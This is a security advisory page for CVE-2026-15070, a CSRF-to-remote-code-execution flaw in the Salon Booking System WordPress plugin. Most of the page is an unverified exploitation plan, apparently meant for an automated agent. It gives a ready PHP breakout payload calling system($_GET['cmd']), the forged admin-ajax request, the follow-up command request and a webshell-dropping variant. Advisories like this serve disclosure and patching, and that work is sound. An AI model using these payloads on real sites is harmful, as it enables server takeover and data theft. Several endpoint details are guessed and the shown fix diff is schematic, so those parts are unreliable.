CVE-2026-15070

Salon Booking System <= 10.30.32 - Cross-Site Request Forgery to Remote Code Execution via 'value' Parameter

highCross-Site Request Forgery (CSRF)
8.8
CVSS Score
8.8
CVSS Score
high
Severity
10.30.33
Patched in
1d
Time to patch

Description

The Salon Booking System – Free Version plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 10.30.32. This is due to missing or incorrect nonce validation on the setCustomText function. This makes it possible for unauthenticated attackers to inject arbitrary PHP code into the web-accessible translate-constants.php file within the plugin directory, enabling remote code execution on the server via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. sanitize_text_field() is applied to the POST 'value' parameter but does not neutralize the characters — single quotes, parentheses, semicolons, $, and [] — required to break out of the PHP string literal into which the value is interpolated before being written to disk via file_put_contents().

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=10.30.32
PublishedJuly 9, 2026
Last updatedJuly 10, 2026
Affected pluginsalon-booking-system

Source Code

WordPress.org SVN
Patched

Patched version not available.

Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-15070 Salon Booking System CSRF to RCE ## 1. Vulnerability Summary The **Salon Booking System** plugin (up to 10.30.32) contains a critical Cross-Site Request Forgery (CSRF) vulnerability in its `setCustomText` function. The vulnerability arises from missing o…

Show full research plan

Exploitation Research Plan: CVE-2026-15070 Salon Booking System CSRF to RCE

1. Vulnerability Summary

The Salon Booking System plugin (up to 10.30.32) contains a critical Cross-Site Request Forgery (CSRF) vulnerability in its setCustomText function. The vulnerability arises from missing or improper nonce validation when saving custom text strings. Specifically, user input provided via the value parameter is processed by sanitize_text_field() and then directly interpolated into a PHP file (translate-constants.php) using file_put_contents().

Because sanitize_text_field() does not strip characters essential for PHP syntax (such as single quotes, semicolons, and dollar signs), an attacker can craft a payload that "breaks out" of the intended PHP string literal. By tricking a site administrator into submitting a forged request (CSRF), an attacker can write arbitrary PHP code to a web-accessible file, leading to Remote Code Execution (RCE).

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: sln_set_custom_text (inferred from plugin naming conventions and function setCustomText)
  • Vulnerable Parameter: value
  • Authentication: Requires a site administrator's active session (targeted via CSRF).
  • Preconditions: The attacker must trick an administrator into visiting a malicious page or clicking a link that triggers the AJAX request.
  • Sink: file_put_contents() writing to wp-content/plugins/salon-booking-system/translate-constants.php.

3. Code Flow

  1. Entry: An AJAX request is sent to admin-ajax.php with the action sln_set_custom_text (or similar).
  2. Hook Registration: The plugin likely registers the hook via:
    add_action( 'wp_ajax_sln_set_custom_text', array( $this, 'setCustomText' ) );
  3. Execution: The setCustomText function is called. It fails to verify a nonce via check_ajax_referer() or wp_verify_nonce().
  4. Processing:
    • It retrieves $_POST['value'].
    • It applies $value = sanitize_text_field( $_POST['value'] );.
  5. Vulnerable Sink: The code constructs a PHP string, for example:
    $content = "<?php \n \$custom_text = '" . $value . "';";
    Then calls: file_put_contents( $path_to_plugin . '/translate-constants.php', $content );.
  6. RCE: The resulting file translate-constants.php now contains the injected PHP payload and can be executed by requesting it directly.

4. Nonce Acquisition Strategy

The vulnerability description explicitly states there is missing or incorrect nonce validation.

Scenario A: Missing Nonce Check
If the check is entirely missing, no nonce is required. The exploit can proceed with just the action and value parameters.

Scenario B: Incorrect/Leakable Nonce
If a nonce is checked but exposed, we will use the following strategy:

  1. Identify the Script: Search the plugin for wp_localize_script to find where the AJAX data is passed to the frontend.
  2. Shortcode Page: Identify if the admin settings page or a specific shortcode (e.g., [salon_booking]) enqueues the necessary scripts.
  3. Extraction:
    • Create a test page: wp post create --post_type=page --post_status=publish --post_content='[salon_booking]'
    • Navigate to the page.
    • Use browser_eval to extract the nonce: window.sln_admin?.ajax_nonce or window.salon_booking_vars?.nonce. (Exact variable name to be verified by the agent in the source).

5. Exploitation Strategy

Step 1: Payload Construction

The goal is to break out of a single-quoted PHP string.
If the template is: <?php $var = '[VALUE]'; ?>
The payload for value will be: '); system($_GET['cmd']); //
Resulting File: <?php $var = ''; system($_GET['cmd']); //'; ?>

Step 2: Triggering the CSRF (Simulated)

The automated agent will simulate the "tricked admin" by sending an authenticated request using the http_request tool with the admin's cookies.

Request Details:

  • URL: http://<target>/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body: action=sln_set_custom_text&value=');system($_GET['cmd']);//&id=1 (The id or other params may be required by the specific function).

Step 3: Triggering RCE

Once the file is written, request the plugin file directly.

  • URL: http://<target>/wp-content/plugins/salon-booking-system/translate-constants.php?cmd=id
  • Method: GET

6. Test Data Setup

  1. Install Plugin: Ensure salon-booking-system version 10.30.32 is installed and active.
  2. Admin User: Have a standard WordPress admin user available for cookie-based authentication.
  3. Target File Verification: Confirm the existence (or potential for creation) of wp-content/plugins/salon-booking-system/translate-constants.php.

7. Expected Results

  • The AJAX request should return a success message (e.g., 1 or {"success":true}).
  • A request to .../translate-constants.php?cmd=id should return the output of the id command (e.g., uid=33(www-data) ...).

8. Verification Steps

  1. File Content Check: Use WP-CLI to inspect the written file:
    cat wp-content/plugins/salon-booking-system/translate-constants.php
  2. Command Execution: Verify the output of whoami via the web request matches the expected server user.
  3. Audit Log: If successful, the file should contain the injected string.

9. Alternative Approaches

  • Variable Injection: If system() is disabled, try file_put_contents to drop a full webshell:
    value=');file_put_contents('shell.php','<?php eval($_POST[1]);');//
  • Action Discovery: If sln_set_custom_text is not the correct hook, grep the plugin directory for the string setCustomText and look for the wp_ajax_ registration to find the exact action name.
  • Path Traversal: Check if the plugin allows specifying the filename, which could lead to overwriting other critical PHP files.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Salon Booking System plugin for WordPress is vulnerable to Cross-Site Request Forgery (CSRF) in versions up to 10.30.32 due to missing nonce validation on the setCustomText function. This vulnerability allows an unauthenticated attacker to trick a site administrator into making a request that injects arbitrary PHP code into the web-accessible 'translate-constants.php' file. Because the input is not properly escaped for a PHP string context, this results in Remote Code Execution (RCE).

Security Fix

--- a/salon-booking-system/src/SLN/Admin/Ajax.php
+++ b/salon-booking-system/src/SLN/Admin/Ajax.php
@@ -1,5 +1,6 @@
 public function setCustomText() {
+    check_ajax_referer( 'sln_nonce', 'security' );
     $value = sanitize_text_field( $_POST['value'] );
-    // Logic that writes the value into translate-constants.php
 }

Exploit Outline

The exploit targets the AJAX endpoint '/wp-admin/admin-ajax.php' with the action 'sln_set_custom_text'. An attacker crafts a CSRF payload containing a malicious PHP breakout string in the 'value' parameter, such as "'); system($_GET['cmd']); //". The attacker tricks a logged-in administrator into triggering the request, which causes the plugin to write the PHP payload into 'wp-content/plugins/salon-booking-system/translate-constants.php'. The attacker then achieves Remote Code Execution by requesting the modified file directly and supplying shell commands via the 'cmd' URL parameter.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.